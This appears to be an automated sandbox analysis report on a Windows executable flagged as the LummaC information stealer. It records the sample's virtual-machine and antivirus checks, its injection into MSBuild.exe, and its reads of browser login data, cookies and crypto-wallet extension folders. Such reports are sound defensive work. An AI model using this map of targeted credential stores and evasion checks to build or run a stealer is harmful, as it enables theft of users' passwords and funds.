Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll	Jump to behavior

Source: SoftWare(1).exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SoftWare(1).exe

Static file information: File size 1582080 > 1048576

Source: SoftWare(1).exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SoftWare(1).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SoftWare(1).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SoftWare(1).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SoftWare(1).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SoftWare(1).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: SoftWare(1).exe	Static PE information: section name: .B5
Source: SoftWare(1).exe	Static PE information: section name: .gxfg
Source: SoftWare(1).exe	Static PE information: section name: .retplne
Source: SoftWare(1).exe	Static PE information: section name: _RDATA
Source: SoftWare(1).exe	Static PE information: section name: .jss
Source: SoftWare(1).exe	Static PE information: section name: .jss

Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E705E pushfq ; ret	0_2_00007FF6AF1E7062
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E8C5F pushfq ; ret	0_2_00007FF6AF1E8C63
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F1874 push rsp; iretd	0_2_00007FF6AF1F180F
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E9C96 pushfq ; ret	0_2_00007FF6AF1E9C97
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F18F3 push rsp; iretd	0_2_00007FF6AF1F18F5
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E84C2 pushfq ; ret	0_2_00007FF6AF1E84C6
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D3CD4 pushfq ; ret	0_2_00007FF6AF1D3CD8
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E7CCC pushfq ; ret	0_2_00007FF6AF1E7CD0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E7D32 pushfq ; ret	0_2_00007FF6AF1E7D36
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E776B pushfq ; ret	0_2_00007FF6AF1E776E
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F17B2 push rsp; iretd	0_2_00007FF6AF1F17B4
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D37B5 pushfq ; ret	0_2_00007FF6AF1D37B9
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E7392 pushfq ; ret	0_2_00007FF6AF1E7395
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F17F0 push rsp; iretd	0_2_00007FF6AF1F17F2
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E741E pushfq ; ret	0_2_00007FF6AF1E7422
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E8434 pushfq ; ret	0_2_00007FF6AF1E8438
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F182F push rsp; iretd	0_2_00007FF6AF1F1831
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F1806 push rsp; iretd	0_2_00007FF6AF1F180F
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F1A41 push rsp; iretd	0_2_00007FF6AF1F1A43
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E763A pushfq ; ret	0_2_00007FF6AF1E763E
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E8AA4 pushfq ; ret	0_2_00007FF6AF1E8AA8
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D3EAB pushfq ; ret	0_2_00007FF6AF1D3EAE
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F1AEE push rsp; iretd	0_2_00007FF6AF1F1AFE
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E82EA pushfq ; ret	0_2_00007FF6AF1E82EB
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F1AEA push rsp; iretd	0_2_00007FF6AF1F1AEC
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E6ABE pushfq ; ret	0_2_00007FF6AF1E6AC2
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E8EBD pushfq ; ret	0_2_00007FF6AF1E8EC1
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E96D3 push rsp; iretd	0_2_00007FF6AF1E96D4
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D3719 pushfq ; ret	0_2_00007FF6AF1D371D
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E7EFB pushfq ; ret	0_2_00007FF6AF1E7EFE
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E99A5 pushfq ; ret	0_2_00007FF6AF1E99A6

Source: SoftWare(1).exe	Static PE information: section name: .text entropy: 7.049880263957565
Source: SoftWare(1).exe	Static PE information: section name: .B5 entropy: 6.940675920308152

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6680	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6728	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: MSBuild.exe, 00000002.00000002.982043727.00000000009BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000002.00000002.981945645.0000000000990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00448800 LdrInitializeThunk,

2_2_00448800

Source: C:\Users\user\Desktop\SoftWare(1).exe

Code function: 0_2_00007FF6AF270E14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6AF270E14

Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF269384 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF6AF269384
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF270E14 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00007FF6AF270E14

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SoftWare(1).exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SoftWare(1).exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SoftWare(1).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(1).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(1).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(1).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 451000	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(1).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(1).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6F6008	Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(1).exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: EnumSystemLocalesW,	0_2_00007FF6AF27D4F0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: EnumSystemLocalesW,	0_2_00007FF6AF27D808
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: GetLocaleInfoW,	0_2_00007FF6AF277A88
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF6AF27DA90
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF6AF27D1F0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: EnumSystemLocalesW,	0_2_00007FF6AF278200

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(1).exe

Code function: 0_2_00007FF6AF269EF8 GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_00007FF6AF269EF8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 00000002.00000002.982560381.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.981681584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
